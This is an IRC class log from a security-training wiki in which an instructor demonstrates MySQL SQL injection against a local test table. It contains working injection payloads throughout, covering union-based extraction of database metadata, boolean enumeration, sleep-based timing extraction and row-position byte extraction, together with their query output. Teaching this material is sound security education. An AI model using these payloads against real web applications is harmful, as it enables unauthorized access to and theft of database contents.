Questions about this topic? Sign up to ask in the talk tab.
Classes/Logs/2012/September/25/00-02
From NetSec
<hatter> k guys take five minutes before class starts to do whatever you do <hatter> Today we're gonna cover mysql pretty exclusively <hatter> Everyone ready? <Spunker> ready <hatter> Ok so <hatter> One thing you should do is install mysql through whatever package manager you have locally (assuming you have a linux system) <hatter> You will need this in order to follow along. If anyone using a binary installation wants to take a moment or two to install, say so and I will wait. <hatter> Moving forward, lets create a test database : <hatter> mysql> create database query_testing; <hatter> Query OK, 1 row affected (0.00 sec) <hatter> And then use it: <hatter> mysql> use query_testing; <hatter> Database changed <hatter> Now, we'll make a small table called "category" for our testing purposes. <hatter> mysql> create table category (id int auto_increment primary key, caption varchar(32)); <hatter> Query OK, 0 rows affected (0.15 sec) <hatter> And insert some sample data: <hatter> mysql> insert into category values(null,'Sql Injection'); <hatter> Query OK, 1 row affected (0.05 sec) <hatter> mysql> insert into category values(null,'Web Exploitation'); <hatter> Query OK, 1 row affected (0.05 sec) <hatter> If you want to make sure the data went in, just go ahead and select * from category: <hatter> mysql> select * from category; <hatter> +----+------------------+ <hatter> | id | caption | <hatter> +----+------------------+ <hatter> | 1 | Sql Injection | <hatter> | 2 | Web Exploitation | <hatter> +----+------------------+ <hatter> 2 rows in set (0.00 sec) <fxm> \G for vertical display as opposed to ; btw <hatter> Suppose we have the url: <hatter> /category/1 <hatter> and its page title is Sql Injection <hatter> That SQL query may look something like: <hatter> mysql> select caption from category where id=1; <hatter> +---------------+ <hatter> | caption | <hatter> +---------------+ <hatter> | Sql Injection | <hatter> +---------------+ <hatter> 1 row in set (0.00 sec) <hatter> In this particular instance, mod_rewrite or another system is in place serializing the values <hatter> this means we can't use the '/' character in our injections, not that we'd normally need to. <hatter> so this really looks more like <hatter> select caption from category where id= $id <hatter> when we test this for injection, <hatter> we may use the url: <hatter> /category/1 and 2 between 0 and 4 <hatter> which would translate to the following SQL query: <hatter> mysql> select caption from category where id=1 and 2 between 0 and 4; <hatter> +---------------+ <hatter> | caption | <hatter> +---------------+ <hatter> | Sql Injection | <hatter> +---------------+ <hatter> 1 row in set (0.00 sec) <hatter> We would use the following "false" statement to verify: <hatter> /category/1/ and 5 between 0 and 4 <hatter> /category/1 and 5 between 0 and 4 <hatter> rather <hatter> without that last / <hatter> mysql> select caption from category where id=1 and 5 between 0 and 4; <hatter> Empty set (0.00 sec) <hatter> So now "Sql Injection" would be missing from the page title. <hatter> Now, getting into exploitation, we only have 1 column here and this is not a nested statement,. <hatter> This means that we can exploit this very easily: <hatter> mysql> select caption from category where id=1 and 5 between 0 and 4 union select version(); <hatter> +-------------------------+ <hatter> | caption | <hatter> +-------------------------+ <hatter> | 5.5.24-0ubuntu0.12.04.1 | <hatter> My ubuntu vm <hatter> +-------------------------+ <hatter> 1 row in set (0.01 sec) <hatter> So <hatter> would display that on the page <hatter> title <hatter> when you visted the url: <hatter> /category/1 and 5 between 0 and 4 union select version() <hatter> Before we get any more advanced, are there any questions? <Spunker> could we have done this by using 1=2 for example <Spunker> instead of 5 between 0 and 4 <hatter> sure. you'd have to do /category/1 and 1=2 union select version() <hatter> you could also do this by supplying an invalid id <hatter> e.g. <fxm> rewrites with /(\d+)/ this would not work on assuming \1|$1 is getting passed as an arg to a script doing the category translation ? <hatter> sure. you'd have to do /category/-1 union select version() <hatter> fxm: correct * Who_is_Gh0st has quit (Broken pipe) <hatter> but in some cases <hatter> you get idiots using \w\d etc <hatter> and sometimes its not rewrites <fxm> lol. <hatter> sometimes its not even apache or nginx <hatter> its some internal bs <hatter> so anyway <fxm> BadBlue yo <hatter> Moving forward, the things you want to do during information gathering are obtain the following: <hatter> user() <hatter> database() <hatter> version() <hatter> this is normally enough to proceed with the rest <hatter> Before we proceed, lets review concat() and group_concat(). <hatter> concat() merges two columns into a single cell from the same record: <hatter> mysql> select concat(id,caption) from category limit 1; <hatter> +--------------------+ <hatter> | concat(id,caption) | <hatter> +--------------------+ <hatter> | 1Sql Injection | <hatter> +--------------------+ <hatter> 1 row in set (0.00 sec) <hatter> while group_concat() merges multiple records into a single cell: <hatter> mysql> select group_concat(id,caption) from category; <hatter> +----------------------------------+ <hatter> | group_concat(id,caption) | <hatter> +----------------------------------+ <hatter> | 1Sql Injection,2Web Exploitation | <hatter> +----------------------------------+ <hatter> 1 row in set (0.00 sec) <hatter> suppose we wanted to obtain a list of all table names and column names in the current database in readable format. <hatter> usually we'd use "show" and "explain" or "desc", however, in this case we will use the information_schema.columns table. <hatter> mysql> select group_concat(table_name,0x2e,column_name) from information_schema.columns where table_schema=database(); <hatter> +-------------------------------------------+ <hatter> | group_concat(table_name,0x2e,column_name) | <hatter> +-------------------------------------------+ <hatter> | category.id,category.caption | <hatter> +-------------------------------------------+ <hatter> when we used our injection, it would look something like: <hatter> 1 row in set (0.01 sec) <hatter> mysql> select caption from category where id=1 and 5 between 0 and 4 union select group_concat(table_name,0x2e,column_name) from information_schema.columns where table_schema=database(); <hatter> +------------------------------+ <hatter> | caption | <hatter> +------------------------------+ <hatter> | category.id,category.caption | <hatter> +------------------------------+ <hatter> 1 row in set (0.00 sec) <hatter> while the url would be <hatter> /category/1 and 5 between 0 and 4 union select group_concat(table_name,0x2e,column_name) from information_schema.columns where table_schema=database(); <hatter> if you wanted to get <hatter> data types with this <hatter> you could do something like: <hatter> mysql> select group_concat(table_name,0x2e,column_name,0x3a,data_type) from information_schema.columns where table_schema=database();+----------------------------------------------------------+ <hatter> | group_concat(table_name,0x2e,column_name,0x3a,data_type) | <hatter> +----------------------------------------------------------+ <hatter> | category.id:int,category.caption:varchar | <hatter> +----------------------------------------------------------+ <hatter> 1 row in set (0.00 sec) <hatter> this is the easy level exploitation. are there any questions? <hatter> Ok, moving on <hatter> back to true and false <hatter> does anyone here *not* know boolean enumeration? if so, we can cover the basics and migrate to more advanced topics and forms, if not we can skip and move ahead. <hatter> so everyone understands this: <hatter> mysql> select caption from category where id=1 and ascii(substring((select group_concat(table_name,0x2e,column_name,0x3a,data_type) from information_schema.columns where table_schema=database()) from 1 for 1)) between 32 and 64; <hatter> Empty set (0.01 sec) <hatter> ? <hatter> Okay, If so, we'll take a 15 minute break and come back with timing attacks and single byte extraction * codejury ([email protected]) has joined #CSIII <hatter> ok lets come back with some single byte extraction. <hatter> This is different than boolean enumeration because you get back the value of one byte. <hatter> it can also be used from a partially blind and in some cases full-blind scenario. <hatter> THe last query we went over was <hatter> select group_concat(table_name,0x2e,column_name,0x3a,data_type) from information_schema.columns where table_schema=database() <hatter> To select the first byte, we'll use <hatter> select ascii(substring(select group_concat(table_name,0x2e,column_name,0x3a,data_type) from information_schema.columns where table_schema=database()) from 1 for 1)) <hatter> mysql> select ascii(substring((select group_concat(table_name,0x2e,column_name,0x3a,data_type) from information_schema.columns where table_schema=database()) from 1 for 1)) as substr; <hatter> +--------+ <hatter> | substr | <hatter> +--------+ <hatter> in this instance we get back the value '99' <hatter> | 99 | <hatter> +--------+ <hatter> 1 row in set (0.00 sec) <hatter> When we sleep for this length of time: <hatter> mysql> select caption from category where id=1 and sleep(ascii(substring((select group_concat(table_name,0x2e,column_name,0x3a,data_type) from information_schema.columns where table_schema=database()) from 1 for 1))) is null; <hatter> Empty set (1 min 39.01 sec) <hatter> 1 minute and 39 sections = 99 <hatter> obviously this won't work in situations which have exceedingly variable latency <hatter> There are certain ways that you can utilize this technique in certain circumstances <hatter> lets look at this: <hatter> mysql> select 1 union select 2 union select 3; <hatter> +---+ <hatter> | 1 | <hatter> +---+ <hatter> | 1 | <hatter> | 2 | <hatter> | 3 | <hatter> +---+ <hatter> 3 rows in set (0.00 sec) <hatter> mysql> select 1,2,3; <hatter> +---+---+---+ <hatter> | 1 | 2 | 3 | <hatter> +---+---+---+ <hatter> | 1 | 2 | 3 | <hatter> +---+---+---+ <hatter> 1 row in set (0.00 sec) <hatter> now <hatter> say we had everything up to 255. this could be in data, or may not be in data. <hatter> I'm just going to go ahead for point of argument: <hatter> mysql> select 99,100,101; <hatter> +----+-----+-----+ <hatter> | 99 | 100 | 101 | <hatter> +----+-----+-----+ <hatter> so <hatter> mysql> select position((ascii(substring((select group_concat(table_name,0x2e,column_name,0x3a,data_type) from information_schema.columns where table_schema=database()) from 1 for 1))) IN (select group_concat(99,100,101))) as pos; <hatter> +------+ <hatter> | pos | <hatter> +------+ <hatter> | 1 | <hatter> +------+ <hatter> position() and substring() are particularly useful when used in conjunction with one another. <hatter> you can use these further if you identify a table with 255 rows. <hatter> brb for 1s and then I'll explain * tytaN has quit (client exited: Lost terminal) <hatter> just to prove our concept <hatter> I'm going to delete a row then add one <hatter> mysql> insert into category values(null,'exploitation'); <hatter> Query OK, 1 row affected (0.05 sec) <hatter> mysql> select id,@r:=@r+1 as pos from category c join (select @r:=0) r; <hatter> +----+------+ <hatter> | id | pos | <hatter> +----+------+ <hatter> | 1 | 1 | <hatter> | 3 | 2 | <hatter> +----+------+ <hatter> 2 rows in set (0.00 sec) <hatter> mysql> select id from (select id,@r:=@r+1 as pos from category c join (select @r:=0) r) x where pos=2; <hatter> +----+ <hatter> | id | <hatter> +----+ <hatter> | 3 | <hatter> +----+ <hatter> 1 row in set (0.00 sec) <hatter> so, you'd get a list of id's <hatter> using boolean enumeration first, or maybe they are just in the url <hatter> you need the first 255 of them <hatter> many cases will only require the first 127 <hatter> mysql> select id from (select id,@r:=@r+1 as pos from category c join (select @r:=0) r limit 255) x where pos=2; <hatter> +----+ <hatter> | id | <hatter> +----+ <hatter> | 3 | <hatter> +----+ <hatter> 1 row in set (0.00 sec) <hatter> now say my position <hatter> once our id's and the content displayed on those pages <hatter> is known <hatter> becomes an ascii() <hatter> e.g. <hatter> mysql> select id from (select id,@r:=@r+1 as pos from category c join (select @r:=0) r limit 255) x where pos=ascii(substring((select "123") from 1 for 1)); <hatter> Empty set (0.00 sec) <hatter> in this case it doesn't work <hatter> because it would need 49 rowzs <hatter> however if we go ahead and insert them <hatter> (1s) <hatter> mysql> select id from (select id,@r:=@r+1 as pos from category c join (select @r:=0) r limit 255) x where pos=ascii(substring((select "123") from 1 for 1)); <hatter> +----+ <hatter> | id | <hatter> +----+ <hatter> | 50 | <hatter> notice the id is 50 here and not 49 - <hatter> +----+ <hatter> 1 row in set (0.01 sec) <hatter> though it is the 49th row. <hatter> however <hatter> say we go to <hatter> /category/(select id from (select id,@r:=@r+1 as pos from category c join (select @r:=0) r limit 255) x where pos=ascii(substring((select "123") from 1 for 1))) * lejill ([email protected]) has joined #CSIII <hatter> mysql> select caption from category where id=(select id from (select id,@r:=@r+1 as pos from category c join (select @r:=0) r limit 255) x where pos=ascii(substring((select "123") from 1 for 1))); <hatter> +--------------+ <hatter> | caption | <hatter> +--------------+ <hatter> | exploitation | <hatter> +--------------+ <hatter> 1 row in set (0.00 sec) * Abnormality ([email protected]) has joined #CSIII <hatter> now we'd know that the ascii code was 49 because"exploitation" is the caption for id 50, the 49th record in the table. <hatter> mysql> select ascii(substring((select "123") from 1 for 1)); <hatter> +-----------------------------------------------+ <hatter> | ascii(substring((select "123") from 1 for 1)) | <hatter> +-----------------------------------------------+ <hatter> | 49 | <hatter> +-----------------------------------------------+ <hatter> 1 row in set (0.00 sec) * Abnormality ([email protected]) has left #CSIII * lejill ([email protected]) has left #CSIII <hatter> in that example instance, we are going after the value of 123, but this can be replaced arbitrarily; * lejill ([email protected]) has joined #CSIII * lejill ([email protected]) has left #CSIII * Abnormality ([email protected]) has joined #CSIII <hatter> Your final queries may look something like: <hatter> select caption from category where id=(select id from (select id,@r:=@r+1 as pos from category c join (select @r:=0) r limit 255) x where pos=ascii(substring((select group_concat(table_name,0x2e,column_name) from information_schema.columns where table_schema=database()) from 1 for 1))); * Dwaan has quit (client exited: h) <hatter> Are there any questions so far? <hatter> This is advanced stuff, giuys <fxm> i'm afraid to ask to go to the bathroom <fxm> tbh <hatter> lol * Abnormality ([email protected]) has left #CSIII <hatter> I'll give another 5 min break <hatter> When you are in data discovery phase, you'd do something like: <hatter> (select id from (select id,@r:=@r+1 as pos from category c join (select @r:=0) r limit 255) x where pos=$counter) <hatter> for $counter = 0...2555 <hatter> er <hatter> 2555 <hatter> 255 <hatter> sticky 5 key <hatter> apparently